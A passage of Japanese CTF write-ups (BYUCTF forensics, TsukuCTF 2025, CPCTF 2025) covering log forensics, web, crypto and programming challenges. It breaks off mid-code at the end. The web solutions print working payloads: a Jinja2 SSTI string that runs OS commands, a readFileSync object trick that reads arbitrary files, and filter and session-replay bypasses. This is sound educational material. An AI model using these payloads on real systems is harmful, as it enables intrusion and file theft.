とあり、このupdate.exeの少し後に上のアラートが出ている。これか?C:\Windows\System32\update.exeに保存されているようなので探してみるとあった。CTFやし、誰かVT上げてるやろと思い、sha256ハッシュを取り、検索するとやはりあった。

https://www.virustotal.com/gui/file/57baac9260834ea53ae47e09d76247a4c692dfbcec05aa4ed141773af7a4754c/

セキュリティベンダーの判定を見ると、Sliverというのは合ってるみたい。Communityに動的解析に投げた結果がいくつかあったので、https://www.vmray.com/analyses/_vt/57baac926083/report/network.html を見ると、通信先のIPアドレスが得られる。よって、byuctf{sliver_192.168.1.224}で正答。

Wimdows 1

What CVE did the attacker exploit to get a shell on the machine? Wrap your answer in byuctf{}. E.g. byuctf{CVE-2021-38759}
Hint: Figure out what process the attacker exploited and look up vulnerabilities associated with it.
攻撃者がマシン上でシェルを取得するために悪用したCVEは何ですか?あなたの回答をbyuctf{}で囲んでください。例:byuctf{CVE-2021-38759}
ヒント:攻撃者がどのプロセスを悪用したかを特定し、それに関連する脆弱性を調べてください。

何を起点に探したものかな。環境を見るとかなり古いのでどこからでも入れそうな気もするが… とりあえず、ここまでの情報から攻撃開始の痕跡が見つかっているのは2025-05-16 11時あたりなので、その辺りの時間で色々見てみることにする。

SysmonのMicrosoft-Windows-Sysmon%4Operational.evtxを見ると

{"EventData":{"Data":[{"@Name":"RuleName","#text":"-"},{"@Name":"UtcTime","#text":"2025-05-16 02:07:47.793"},{"@Name":"ProcessGuid","#text":"0557f2df-0000-0000-12c4-0c0000000000"},{"@Name":"ProcessId","#text":"2144"},{"@Name":"Image","#text":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe"},{"@Name":"FileVersion","#text":"10.0.14409.1005 (rs1_srvoob.161208-1155)"},{"@Name":"Description","#text":"Windows PowerShell"},{"@Name":"Product","#text":"Microsoft® Windows® Operating System"},{"@Name":"Company","#text":"Microsoft Corporation"},{"@Name":"OriginalFileName","#text":"PowerShell.EXE"},{"@Name":"CommandLine","#text":"powershell -NoProfile -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass -EncodedCommand bABzAA=="},{"@Name":"CurrentDirectory","#text":"C:\\Program Files\\elasticsearch-1.1.1\\"},{"@Name":"User","#text":"NT AUTHORITY\\SYSTEM"},{"@Name":"LogonGuid","#text":"0557f2df-0000-0000-e703-000000000000"},{"@Name":"LogonId","#text":"0x3E7"},{"@Name":"TerminalSessionId","#text":"0"},{"@Name":"IntegrityLevel","#text":"System"},{"@Name":"Hashes","#text":"MD5=A575A7610E5F003CC36DF39E07C4BA7D,SHA256=006CEF6EF6488721895D93E4CEF7FA0709C2692D74BDE1E22E2A8719B2A86218,IMPHASH=CAEE994F79D85E47C06E5FA9CDEAE453"},{"@Name":"ParentProcessGuid","#text":"0557f2df-0000-0000-bbfe-000000000000"},{"@Name":"ParentProcessId","#text":"1448"},{"@Name":"ParentImage","#text":"C:\\Program Files\\elasticsearch-1.1.1\\bin\\elasticsearch-service-x64.exe"},{"@Name":"ParentCommandLine","#text":"\"C:\\Program Files\\elasticsearch-1.1.1\\bin\\elasticsearch-service-x64.exe\" //RS//elasticsearch-service-x64"},{"@Name":"ParentUser","#text":"NT AUTHORITY\\SYSTEM"}]}}

のようなログが残っていて、親プロセスC:\Program Files\elasticsearch-1.1.1\bin\elasticsearch-service-x64.exePowerShellのコマンドを読んでいた。bABzAA=なのでlsを実行している。elasticsearch-1.1.1でRCE出来そうな脆弱性を探すと、CVE-2014-3120が出てきて、これをフォーマットにくるんで答えると正答。

[Forensics] Are You Looking Me Up?

The network has a DNS server that's been receiving a lot of traffic. You've been handed a set of raw network logs. Your job? Hunt down the DNS server that has received the most DNS requests.
Analyze the logs and find the impostor.
Flag format: byuctf{IP1}
ネットワークには、多くのトラフィック(通信量)を受けているDNSサーバーがあります。あなたには、加工されていない生のネットワークログ一式が手渡されました。あなたの仕事は?最も多くのDNSリクエストを受け取ったDNSサーバーを突き止めることです。

ログの中身はこんな感じ

2025-05-06T14:49:32+00:00 155,,,c0dbc3f4f934c1cb95f41a1f3d23a189,vtnet0,match,pass,in,4,0x0,,128,23413,0,none,17,udp,72,172.16.0.10,172.16.0.1,53829,53,52
2025-05-06T14:49:32+00:00 164,,,75a2b136446ad166a85f3150b40b7d1e,vtnet0,match,pass,in,4,0x0,,128,41412,0,none,17,udp,72,172.16.0.10,8.8.8.8,53829,53,52
2025-05-06T14:49:32+00:00 164,,,75a2b136446ad166a85f3150b40b7d1e,vtnet0,match,pass,in,4,0x0,,128,9674,0,DF,6,tcp,52,172.16.0.10,4.149.227.78,65308,443,0,S,3208345317,,64240,,mss;nop;wscale;nop;nop;sackOK
2025-05-06T14:49:32+00:00 164,,,75a2b136446ad166a85f3150b40b7d1e,vtnet0,match,pass,in,4,0x0,,128,63011,0,DF,6,tcp,52,172.16.0.10,52.183.205.142,65309,443,0,S,2199077471,,64240,,mss;nop;wscale;nop;nop;sackOK
2025-05-06T14:49:32+00:00 164,,,75a2b136446ad166a85f3150b40b7d1e,vtnet0,match,pass,in,4,0x0,,128,21701,0,DF,6,tcp,52,172.16.0.10,13.95.31.18,65310,443,0,S,3089797986,,64240,,mss;nop;wscale;nop;nop;sackOK

最も多いDNSリクエスト先を答えればいいので、

2025-05-06T14:49:32+00:00 164,,,75a2b136446ad166a85f3150b40b7d1e,vtnet0,match,pass,in,4,0x0,,128,41412,0,none,17,udp,72,172.16.0.10,8.8.8.8,53829,53,52

を見ると8.8.8.8が来ている部分に送信先が書かれていて、53というポート番号も見えるので、53のポート番号でスキャンして、送信先IPアドレスを取ってきてカウントするシェル芸をやる。

$ cat logs.txt | grep ",53," | cut -d',' -f20 | sort | uniq -c | sort -rn | head
 133444 172.16.0.1
  73490 216.239.32.106
  41183 172.16.96.1
   3614 8.8.8.8
    215 172.16.16.1
    206 172.16.64.1

で、一番上のやつをフォーマットにくるんで送ると正解。

[Forensics] Mine Over Matter

Your SOC has flagged unusual outbound traffic on a segment of your network. After capturing logs from the router during the anomaly, they handed it over to you—the network analyst.
Somewhere in this mess, two compromised hosts are secretly mining cryptocurrency and draining resources. Analyze the traffic, identify the two rogue IP addresses running miners, and report them to the Incident Response team before your network becomes a crypto farm.
Flag format: byuctf{IP1,IP2} (it doesn't matter what order the IPs are in)
あなたのSOC(セキュリティオペレーションセンター)は、ネットワークの一部で不審なアウトバウンドトラフィック(外部への通信)を検出しました。異常発生中にルーターからログをキャプチャした後、彼らはネットワークアナリストであるあなたにそれを手渡しました。
この大量のデータ(ログ)の中に、2つの侵害されたホストが密かに仮想通貨のマイニングを行い、リソースを枯渇させています。トラフィックを分析し、マイナーを実行している2つの不正なIPアドレスを特定し、あなたのネットワークがクリプトファーム(仮想通貨採掘場)になる前に、それらをインシデント対応チームに報告してください。
フラグ形式:byuctf{IP1,IP2} (IPアドレスの順序は問いません)

前問と同じログが与えられるので、設問に答える問題。「ネットワークの一部で不審なアウトバウンドトラフィック(外部への通信)を検出」とあるので接続先IPアドレスで通信が多いものを見てみる。

$ cat logs.txt | cut -d',' -f20 | sort | uniq -c | sort -rn | head
 164377 172.16.0.1
 129590 239.255.255.250
  73490 216.239.32.106
  58137 255.255.255.255
  42898 172.16.96.1
  18978 104.26.11.102
  18608 104.26.10.102
  18508 172.67.69.190
  17758 1.1.1.1
  17260 51.79.229.21

Public IPアドレスを上から見ていくと、104.26.11.102104.26.10.102に対して、172.16.0.10172.16.0.5から通信が出ていた。これを答えると正解。

TsukuCTF 2025 Writeup

[web] len_len

"length".length is 6 ?

ソースコード有り。メインの部分は以下。

function chall(str = "[1, 2, 3]") {
  const sanitized = str.replaceAll(" ", "");
  if (sanitized.length < 10) {
    return `error: no flag for you. sanitized string is ${sanitized}, length is ${sanitized.length.toString()}`;
  }
  const array = JSON.parse(sanitized);
  if (array.length < 0) {
    // hmm...??
    return FLAG;
  }
  return `error: no flag for you. array length is too long -> ${array.length}`;
}

app.post("/", (req, res) => {
  const array = req.body.array;
  res.send(chall(array));
});

10文字以上のjsonを送って、それをパースしたものがarray.length < 0を満たせばフラグがもらえる。サンプルは

How to use -> curl -X POST -d 'array=[1,2,3,4]' http://localhost:28888

のように配列を渡す形だが、これを辞書形式に変えて送る。このとき、lengthを指定すればそれを使ってくれる。よって、

curl -X POST -d 'array={"length":-1337}' http://localhost:28888

とするとフラグ。

[web] flash

3, 2, 1, pop!

ソースコード有り。ゴールは実際にサイトを動かすと分かりやすい。フラッシュ暗算で10個の数が表示されるのでその総和を求めればフラグが手に入る。だが、最初と最後のそれぞれ3つずつ以外は見えなくなっているため、普通に総和を取って計算することはできないのでどうするかという問題。

答えを提出してフラグを得るエンドポイントは以下のような感じ。

@app.route('/result', methods=['GET', 'POST'])
def result():
    if request.method == 'GET':
        if not session.get('session_id') or session.get('round', 0) < TOTAL_ROUNDS:
            return redirect(url_for('flash'))
        token = secrets.token_hex(16)
        session['result_token'] = token
        used_tokens.add(token)
        return render_template('result.html', token=token)

    form_token = request.form.get('token', '')
    if ('result_token' not in session or form_token != session['result_token']
            or form_token not in used_tokens):
        return redirect(url_for('index'))
    used_tokens.remove(form_token)

    ans_str = request.form.get('answer', '').strip()
    if not ans_str.isdigit():
        return redirect(url_for('index'))
    ans = int(ans_str)

    session_id = session.get('session_id')
    correct_sum = 0
    for round_index in range(TOTAL_ROUNDS):
        digits = generate_round_digits(SEED, session_id, round_index)
        number = int(''.join(map(str, digits)))
        correct_sum += number

    session.clear()
    resp = make_response(
        render_template('result.html', submitted=ans, correct=correct_sum,
                        success=(ans == correct_sum), FLAG=FLAG if ans == correct_sum else None)
    )
    cookie_name = app.config.get('SESSION_COOKIE_NAME', 'session')
    resp.set_cookie(cookie_name, '', expires=0)
    return resp

SEEDとsession_idとround_indexを入れてgenerate_round_digits関数で作られる数を10ラウンド分作り、その総和を当てるとフラグが得られる。

セッションの再利用

前半部分の処理について考えてみよう。

if request.method == 'GET':
    if not session.get('session_id') or session.get('round', 0) < TOTAL_ROUNDS:
        return redirect(url_for('flash'))
    token = secrets.token_hex(16)
    session['result_token'] = token
    used_tokens.add(token)
    return render_template('result.html', token=token)

form_token = request.form.get('token', '')
if ('result_token' not in session or form_token != session['result_token']
        or form_token not in used_tokens):
    return redirect(url_for('index'))
used_tokens.remove(form_token)

まず、GETでアクセスしたときに、result_tokenを発行し、それをPOSTで答えを送ったときに確認して消すということをしている。この処理があるので、答えを再送しても2回目は弾かれるという実装になっている。なぜ、2回目をはじいているかというと、(恐らくだが)以下の部分にあるように回答後は答えを出力しているためである。

resp = make_response(
    render_template('result.html', submitted=ans, correct=correct_sum,
                    success=(ans == correct_sum), FLAG=FLAG if ans == correct_sum else None)
)

だが、実装をよく見ると、session自体が無効化されている訳ではないのでGETでresult_tokenを再度作成することで、セッションを再利用することができる。よって、以下の流れで正しい答えを提出することができる。Burp Suiteなどでリクエストを保存しながらやる。

  1. 普通にフラッシュ暗算をスタートする
  2. 最終的にGET /resultが開かれる
  3. 適当な答えをPOST /resultで提出する
  4. 回答に正解が出力されるので、それをコピーしておく -> 65134908
  5. 手順2のGET /resultの記録しておいたリクエストを再送する
  6. すると、Set-Cookieでsessionが、Bodyでresult_tokenが再度発行される
  7. 手順4のPOST /resultCookieのsessionとBodyのtokenとanswerを手順4と手順6のものに入れ替えて送るとフラグが得られる

[web] YAMLwaf

YAML is awesome!!

ソースコード有り。サーバー部分は簡潔。./flag.txtが取得できればフラグ獲得。

app.post('/', (req, res) => {
  try {
    if (req.body.includes('flag')) {
      return res.status(403).send('Not allowed!');
    }
    if (req.body.includes('\\') || req.body.includes('/')
      || req.body.includes('!!') || req.body.includes('<')) {
      return res.status(403).send('Hello, Hacker :)');
    }
    const data = yaml.load(req.body);
    const filePath = data.file;

    if (filePath && fs.existsSync(filePath)) {
      const content = fs.readFileSync(filePath, 'utf8');
      return res.send(content);
    } else {
      return res.status(404).send('File not found');
    }
  } catch (err) {
    return res.status(400).send('Invalid request');
  }
});

flagという文字列と\/!<が使えない状態でfile: flag.txtのように読み込めるものを探せという問題。

脈絡はないのだが、手元の資料にメモってあったreadFileSyncに辞書を入れることでファイルを読み込むテクを利用した。corCTF 2022 writeup - st98 の日記帳 - コピーにあるように

> fs.readFileSync({ href: 'a', origin: 'b', protocol: 'file:', pathname: '/etc/p%61sswd', hostname: ''})
<Buffer 72 6f 6f 74 3a 78 3a 30 3a 30 3a 72 6f 6f 74 3a 2f 72 6f 6f 74 3a 2f 62 69 6e 2f 62 61 73 68 0a 64 61 65 6d 6f 6e 3a 78 3a 31 3a 31 3a 64 61 65 6d 6f ... 911 more bytes>

のような辞書を入れてやることでファイル読み込みができる。これを試してみる。YAMLだとパーセントエンコーディングは使えないが、このやり方であれば途中でパーセントエンコーディングを解除してくれるのでflag.txtを%66%6c%61%67%2e%74%78%74のようにして送り込んでも問題ない。よって、以下のようなHTTPリクエストを送るとフラグが手に入る。

POST / HTTP/1.1
Host: localhost:50001
Content-Type: text/plain
Content-Length: 106

file:
  href: a
  origin: b
  protocol: 'file:'
  pathname: '%66%6c%61%67%2e%74%78%74'
  hostname: ''

[crypto] PQC0

PQC(ポスト量子暗号)を使ってみました!

ソースコード prob.py とoutput.txtが与えられる。ソースコードは以下。

# REQUIRED: OpenSSL 3.5.0

import os
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
from flag import flag

# generate private key
os.system("openssl genpkey -algorithm ML-KEM-768 -out priv-ml-kem-768.pem")
# generate public key
os.system("openssl pkey -in priv-ml-kem-768.pem -pubout -out pub-ml-kem-768.pem")
# generate shared secret
os.system("openssl pkeyutl -encap -inkey pub-ml-kem-768.pem -secret shared.dat -out ciphertext.dat")

with open("priv-ml-kem-768.pem", "rb") as f:
    private_key = f.read()

print("==== private_key ====")
print(private_key.decode())

with open("ciphertext.dat", "rb") as f:
    ciphertext = f.read()

print("==== ciphertext(hex) ====")
print(ciphertext.hex())

with open("shared.dat", "rb") as f:
    shared_secret = f.read()

encrypted_flag = AES.new(shared_secret, AES.MODE_ECB).encrypt(pad(flag, 16))

print("==== encrypted_flag(hex) ====")
print(encrypted_flag.hex())

Shared Secretを作って、それを使ってAES-ECBでフラグを暗号化している。output.txtはこのスクリプトの出力結果が置かれていて、秘密鍵、暗号化されたShared Secret、暗号化されたフラグが書かれている。秘密鍵が配布されているので、それを使ってShared Secretを復元し、それを使ってフラグを復元する。

方式はML-KEMという格子暗号をベースにした鍵共有アルゴリズムで、対応しているOpenSSL 3.5.0が必要とコメントにあるので、持ってくる必要があるのだがビルドが一生通らず、結局alpineのedgeレポを使うことにした。

FROM alpine:latest

RUN echo "https://dl-cdn.alpinelinux.org/alpine/edge/main" > /etc/apk/repositories && \
    echo "https://dl-cdn.alpinelinux.org/alpine/edge/community" >> /etc/apk/repositories && \
    apk update && \
    apk add --no-cache openssl bash && \
    rm -rf /var/cache/apk/*

CMD ["bash"]

で用意して、docker build . -t test/test --no-cacheしてdocker run -v ${PWD}:/mnt --rm -it test/testすると、OpenSSL 3.5.0 8 Apr 2025 (Library: OpenSSL 3.5.0 8 Apr 2025)が使えるようになる。秘密鍵をpriv-ml-kem-768.pem、暗号化されたShared Secretをciphertext.datとして保存してopenssl pkeyutl -decap -inkey priv-ml-kem-768.pem -in ciphertext.dat -out shared.datすると、shared.datが復元できるので、後は以下のようにすればフラグが得られる。

from Crypto.Cipher import AES

with open("shared.dat", "rb") as f:
    shared_secret = f.read()

encrypted_flag = bytes.fromhex("5f2b9c04a67523dac3e0b0d17f79aa2879f91ad60ba8d822869ece010a7f78f349ab75794ff4cb08819d79c9f44467bd")
flag = AES.new(shared_secret, AES.MODE_ECB).decrypt(encrypted_flag)
print(flag)

[crypto] a8tsukuctf

適当な KEY を作って暗号化したはずが、 tsukuctf の部分が変わらないなぁ...

暗号化に使うソースコードは以下。

import string

plaintext = '[REDACTED]'
key = '[REDACTED]'

#    <plaintext>               <ciphertext>
# ...?? tsukuctf, ??... ->  ...aa tsukuctf, hj...
assert plaintext[30:38] == 'tsukuctf'


# https://ja.wikipedia.org/wiki/%E3%83%B4%E3%82%A3%E3%82%B8%E3%83%A5%E3%83%8D%E3%83%AB%E6%9A%97%E5%8F%B7#%E6%95%B0%E5%BC%8F%E3%81%A7%E3%81%BF%E3%82%8B%E6%9A%97%E5%8F%B7%E5%8C%96%E3%81%A8%E5%BE%A9%E5%8F%B7
def f(p, k):
    p = ord(p) - ord('a')
    k = ord(k) - ord('a')
    ret = (p + k) % 26
    return chr(ord('a') + ret)


def encrypt(plaintext, key):
    assert len(key) <= len(plaintext)

    idx = 0
    ciphertext = []
    cipher_without_symbols = []

    for c in plaintext:
        if c in string.ascii_lowercase:
            if idx < len(key):
                k = key[idx]
            else:
                k = cipher_without_symbols[idx-len(key)]
            cipher_without_symbols.append(f(c, k))
            ciphertext.append(f(c, k))
            idx += 1          
        else:
            ciphertext.append(c)

    ciphertext = ''.join(c for c in ciphertext)

    return ciphertext


ciphertext = encrypt(plaintext=plaintext, key=key)

with open('output.txt', 'w') as f:
    f.write(f'{ciphertext=}\n')

ヴィジュネル暗号っぽいが、鍵の2周期目からは鍵を再利用するのではなく、それ以前の暗号文を鍵として利用している。(これもヴィジュネル暗号?もしくは、良く知られた亜種?わからない)ソースコード中にヒントが書いてある。

#    <plaintext>               <ciphertext>
# ...?? tsukuctf, ??... ->  ...aa tsukuctf, hj...
assert plaintext[30:38] == 'tsukuctf'

問題文にもあったように、途中にtsukuctfというのが平文と暗号文に現れ、変わらないよということがかいてある。暗号文を実際に見てみると以下のような感じ。

ayb wpg uujmz pwom jaaaaaa aa tsukuctf, hj vynj?

平文と暗号文が変化しないということはaを鍵としていることになる。そして上を見ると、tsukuctfの前にaaaaaaaaと同じ個数分8があるので、これが使われたようだ。また、これがあるということは、鍵の1周期は終わっていることにもなり、

aybwpguu
jmzpwomj
aaaaaaaa
tsukuctf

こんな感じで鍵の長さは8と考えて良さそうだ。鍵の2周期以降はその前の暗号文が使われているので鍵が分からなくても2周期以降を復元することができる。復元しよう。

import string

ciphertext="ayb wpg uujmz pwom jaaaaaa aa tsukuctf, hj vynj? mml ogyt re ozbiymvrosf bfq nvjwsum mbmm ef ntq gudwy fxdzyqyc, yeh sfypf usyv nl imy kcxbyl ecxvboap, epa 'avb' wxxw unyfnpzklrq."
KEY_LEN = 8

def ff(p, k): # reverse function of f
    p = ord(p) - ord('a')
    k = ord(k) - ord('a')
    ret = (p - k + 26) % 26
    return chr(ord('a') + ret)

def decrypt_without_1stblock(ciphertext):
    idx = 0
    plaintext = []
    cipher_without_symbols = []

    for c in ciphertext:
        if c in string.ascii_lowercase:
            if idx < KEY_LEN:
                pass
            else:
                plaintext.append(ff(c, cipher_without_symbols[idx - KEY_LEN]))

            cipher_without_symbols.append(c)
            idx += 1
        else:
            plaintext.append(c)

    plaintext = ''.join(c for c in plaintext)

    return plaintext

plaintext = decrypt_without_1stblock(ciphertext)
print(plaintext)

これを実行すると以下。

$ python3 solver.py 
  joy this problem or tsukuctf, or both? the flag is concatenate the seventh word in the first sentence, the third word in the second sentence, and 'fun' with underscores.

最初の8文字が消えていて分からないがDid you enとかそんな所だろうと推測して、word数を推測しながらフラグを作ると正答。TsukuCTF25{tsukuctf_is_fun}

[crypto] xortsukushift 解けず

つくし君とじゃんけんしよう。負けてもチャンスはいっぱいあるよ! フラグフォーマットは TsukuCTF25{} です。ソースコードは以下。

z3やろ!と投げたら計算が停止しないので、終わりました。GF(2)?

[crypto] PQC1 解けず

シードがあれば一発やろ!と思い見てみると、20 bytes分足りず全てが終わりました。解く方向性がそもそも思いつかず、精進不足。

CPCTF 2025 Writeups

[Crypto] Heroic Code

Xubbe qdt jxqda oek veh zeydydw jxu SFSJV! Jxu vbqw yi SFSJV{qbuq_zqsjq_uij}.

暗号化されたメッセージからフラグを見つける問題。ROT暗号というシーザー暗号の一種が使われている。アルファベットを特定の文字数分ずらすことで暗号化されており、これを解読する必要がある。CyberChefのROT13でAmountを適当にポチポチやっていくと10で読める形になる。

https://gchq.github.io/CyberChef/#recipe=ROT13(true,true,false,10)&input=WHViYmUgcWR0IGp4cWRhIG9layB2ZWggemV5ZHlkdyBqeHUgU0ZTSlYhIEp4dSB2YnF3IHlpIFNGU0pWe3FidXFfenFzanFfdWlqfS4

Hello and thank you for joining the CPCTF! The flag is CPCTF{alea_jacta_est}.

「賽は投げられた」

[crypto] Add and multiple

いっぱい足し算して、いっぱいかけ算したら元の文字列の復元は難しくなるはず!

数学的操作を用いた暗号化と復号化の問題。入力された平文を加算と乗算の操作で暗号化し、その結果のみが与えられる。平文を復元するために、暗号化の過程を逆算する必要がある。暗号スクリプトは以下。

plaintext = input()

a = [ord(i) for i in plaintext]
cipher = 0
for i,chr in enumerate(a,1000):
    cipher += chr
    cipher *= i
f = open('cipher.txt', 'w')
f.write(str(cipher))
f.close()

暗号化は数式にすると以下のようになる。

((((0 + a[0]) * 1000) + a[1]) * 1001 + a[2]) * 1002 + ...) * (1000 + n - 1)

これを逆向きに計算しようと思うと、最初に割り算をするときにnが分かっていないといけない。だが分からないので、nは全探索することにしよう。

nが分かっているならば(1000 + n - 1)で割って、次は和を逆算するために(1000 + n - 2)で割った余りを取って、それを引けば逆算ができる。これを繰り返せば良い。

def decrypt(cipher, n):
    plaintext = []
    c = cipher
    
    for _i in range(n):
        i = n - 1 - _i + 1000
        c = c // i
        mod = c % (i - 1)
        plaintext.append(mod)

    plaintext.reverse()
    result = ''.join(chr(c) for c in plaintext)
    return result

cipher = 103200264548574214569124695908951019136986646123214535931636006688814109904122192900997137101

for n in range(1, 50):
    result = decrypt(cipher, n)
    print(n, result)

実行して眺めるとn=30でフラグになった。

30 CPCTF{C14ssic4l_Ciph3r_15_fun}

[Crypto] Anomaly

時には信じて突き進むことも大切!

RSA暗号の変形版で通常のRSAとは異なる実装になっている問題。

from Crypto.Util.number import getPrime, bytes_to_long

flag = "CPCTF{fake_flag}"

p = getPrime(512)
e = getPrime(512)
q = 0x10001
n = p * q
c = pow(bytes_to_long(flag.encode()), e, n)

with open("output.py", "w") as f:
    f.write(f"e = {e}\n")
    f.write(f"n = {n}\n")
    f.write(f"c = {c}\n")

nが素因数分解できるので、素因数分解して、後は普通のRSA

[web] omikuji

あなたの名前を占います! (ちょっぴり厳しめ!)

おみくじシステムが実装されたWebアプリケーション。入力された名前のSHA-256ハッシュ値中の「0」の数で運勢を判定する。「大吉」を得るとフラグが表示されるが、条件を満たす入力が困難なため、アプリケーションの脆弱性を利用する必要がある。

from flask import Flask, request, render_template_string
import hashlib

css = """
<style>
   [redacted]
</style>
"""

app = Flask(__name__)

def get_fortune(name):
    hash_value = hashlib.sha256(name.encode()).hexdigest()
    zero_count = hash_value.count("0")

    if zero_count < 4:
        return "大凶"
    elif zero_count < 8:
        return "凶"
    elif zero_count < 16:
        return "小吉"
    elif zero_count < 32:
        return "中吉"
    elif zero_count < 64:
        return "吉"
    else:
        return "大吉"


@app.route("/")
def index():
    name = request.args.get("name")
    if name is None:
        return f"""
        {css}
        <h1>🔮 名前占い 🔮</h1>
        <form action="/" method="get">
            <label for="name">あなたの名前を入力してください:</label>
            <input type="text" id="name" name="name" required>
            <input type="submit" value="占う">
        </form>
        """

    fortune = get_fortune(name)

    result = f"""
    {css}
    <h1>🔮 名前占い 🔮</h1>
    <div class="result">
        <p>こんにちは、{name}さん。</p>
        <p>あなたの運勢は…… <span class="fortune">{fortune}</span> です!</p>
    """

    if fortune == "大吉":
        with open("flag.txt", "r") as f:
            content = f.read()
            result += f'<div class="flag">フラグは{content}です。</div>'

    result += "</div>"
    return render_template_string(result)


if __name__ == "__main__":
    app.run()

SSTIの脆弱性が存在する。ユーザー入力である name パラメータがエスケープされずに直接テンプレート文字列に挿入され、それが render_template_string 関数に渡される。試しに {{7*7}} を入力すると、結果に 49 として表示される。

こんにちは、49さん。

あなたの運勢は…… 大凶 です!

ちなみにこれは大凶である。SSTIができるので適当に試すとRCEができ、それを使ってflag.txtを読み取る。

{{request.application.__globals__.__builtins__.__import__('os').popen('cat flag.txt').read()}}

[web] string calculator

文字列結合に対応している電卓サイトを作ってみたよ!

JavaScriptのeval関数を使用した文字列計算機アプリケーション。サーバーサイドでユーザー入力を評価するが、特定の文字や関数が制限されている。

app.post("/api/calc", async (c) => {
  const input = await c.req.text();

  try {
    if (input.length > 64) throw new Error("Input too long");
    if (/[()\[\].=]/.test(input)) throw new Error("Invalid characters in input");
    if (/delete|Function|fetch|\+\+|--/.test(input)) throw new Error("Invalid keywords in input");

    const result = eval(`(${input})`);

    return c.json(result);
  } catch (error) {
    c.status(400);
    return c.text(`${error.name}: ${error.message}`);
  }
});

app.get("/api/flag", require("hono/bearer-auth").bearerAuth({ token: btoa(getFlag()) }), (c) => {
  return c.text(getFlag());
});

色々制約がかかっている状態でgetFlag()を呼び出すことができればクリア。JavaScriptのタグ付きテンプレートを使えば良い。

getFlag``

これでgetFlag()を呼べる。

[PPC] Luke or Bishop

チェスの駒の動きを利用した最小手数を求める問題。

ぼんやり考えるとルークを使えば、最悪でも2手で辿りつけることが分かる。よって、答えは0,1,2のどれかである。

Gx==0 && Gy==0の場合は既にゴールしてるので(0,0)

ルークの場合は縦横が一致していれば1手で辿りつけ、ビショップの場合は斜めで一気にいけるならば1手で辿りつける。これを判定すればよい。

int Gx, Gy;
void _main() {
    cin >> Gx >> Gy;
    
    if (Gx == 0 && Gy == 0) {
        cout << "0" << endl;
        return;
    }

    if (abs(Gx) == abs(Gy) || Gx == 0 || Gy == 0) {
        cout << "1" << endl;
        return;
    }

    cout << "2" << endl;
}

[PPC] Like CPCTF?

英大文字からなる文字列からCPCTF的な部分文字列を数える問題。CPCTF的とは「1文字目と3文字目が同じ」「異なる文字は4種類」という性質を持つ長さ5の文字列。

Nの条件が重要でN5が許されるので、5重ループを書いて条件を満たすか判定しよう。任意の5文字を取り出したときに、1文字目と3文字目が一致していることと文字種が4つであることを確認すればよい。

int N; string S;
void _main() {
    cin >> N >> S;

    int ans = 0;
    rep(c1, 0, N) rep(c2, c1 + 1, N) rep(c3, c2 + 1, N) rep(c4, c3 + 1, N) rep(c5, c4 + 1, N) {
        set<char> cset;
        cset.insert(S[c1]); cset.insert(S[c2]); cset.insert(S[c3]); cset.insert(S[c4]); cset.insert(S[c5]);
        if (S[c1] == S[c3] && cset.size() == 4) ans++;
    }
    cout << ans << endl;
}

[PPC] Swap members

整数 K で指定された間隔でのメンバー交換できるという状態で、与えられた初期順列を目標順列に変換できるかを判定する問題。

入れ替えを使ってどこまで行けるか考えてみるN=10, K=3とかだと、雑に考えてみると

1 → 4 → 7 → 10
2 → 5 → 8
3 → 6 → 9

のように+K倍するか-K倍するか移動方法が無いため、それぞれいける所はKで割った時の余りが等しくなる場所になる。よって、SとTを比べた時に移動前と移動後の場所をKで割った余りが一致している必要がある。

全ての移動前後の場所をKで割った余りが一致していれば、必ず目的の整列にできるのかという観点は、(直感的にもあってそうだが)どんな配列でもバブルソートでソートできることを考えると、そうでしょうということで、この方針で答えるとあってた。

int N, K;
map<string,int> S;
map<string,int> T;
string solve() {
    fore(p, S) {
        string s = p.first;
        int pre = p.second;
        int post = T[s];

        if (pre % K != post % K) return "No";
    }
    return "Yes";
}
//---------------------------------------------------------------------------------------------------
void _main() {
    cin >> N >> K;
    rep(i, 0, N) {
        string s;
        cin >> s;
        S[s] = i;
    }
    rep(i, 0, N) {
        string t;
        cin >> t;
        T[t] = i;
    }
    cout << solve() << endl;
}

[PPC] 0→1

0と1からなる文字列を良い文字列に変換する問題。良い文字列とは、任意の連続部分文字列において0の数が1の数以下という条件を満たす文字列のこと。0を1に変更する操作を最小回数で行う必要がある。

良くない文字列から考えてみる。良くない文字列とは、その文字列に含まれる長さ2以上の任意の連続部分文字列Yについて、1の数<0の数の場合である。これを破る最短の部分文字列は 00 なので、とりあえず00があれば良い文字列ではなく、修正が必要になる。

では00を潰せばいいか?と考えるが、010のような場合もダメであることが分かる。

…他にはあるだろうか?00が無くて、また010もない場合は全て「良い文字列」になるだろうか。

反証が思いつかないので、とりあえずこれで貪欲してみる。先頭から消し込んでいく貪欲法をしてみることにする。00が出てきたら01に、010が出てきたら011にする。 (000のケースを実装で忘れてて1WAしたので注意)

int N; string S;
void _main() {
    cin >> N >> S;

    int ans = 0;
    rep(i, 0, N) {
        if (S.substr(i, 2) == "00") {
            ans++;
            S[i + 1] = '1';
        }
        if (S.substr(i, 3) == "010") {
            ans++;
            S[i + 2] = '1';
        }
    }
    cout << ans << endl;
}

submit証明。ACした

[PPC] The farthest point

与えられた無向重み付き木において、最も遠い2頂点間の距離を求めよという問題。

全方位木がまず思い浮かぶ。

dp[cu] := 頂点1を根としたとき、頂点cuと頂点cuの任意の子供を結ぶ単純パスの重みの総和の最大

を作って、re-rootingをしながら、「頂点1を根としたとき」を頂点rootを根としたときに更新しつつ、全ての単純パスについて重みの最大値を求める。

自分の記事を見ながら思い出しつつ書くと通る。久々過ぎて死ぬほど時間かかった… 要求されているのは全方位木の基本的な形なので、自分が下手に解説を書くよりも全方位木の入門記事を当たると良い。

rerootingをするときに遷移先以外のmaxを取る必要があるが、naiveにやるとTLEする(はず)ので、サボらず高速化すること。自分はSparseTableでやった。

int N;
vector<pair<int,ll>> E[201010];

ll dp[201010];
void dfs1(int cu, int pa = -1) {
    dp[cu] = 0;
    fore(p, E[cu]) {
        int to = p.first;
        ll c = p.second;
        if (to == pa) continue;

        dfs1(to, cu);
        chmax(dp[cu], dp[to] + c);
    }
}

ll ans = 0;
void dfs2(int cu, int pa = -1) {
    fore(p, E[cu]) {
        int to = p.first;
        ll c = p.second;
        chmax(ans, dp[to] + c);
    }

    int n = E[cu].size();

    SparseTable<ll> st;
    vector<ll> v(n, -infl);
    rep(i, 0, n) {
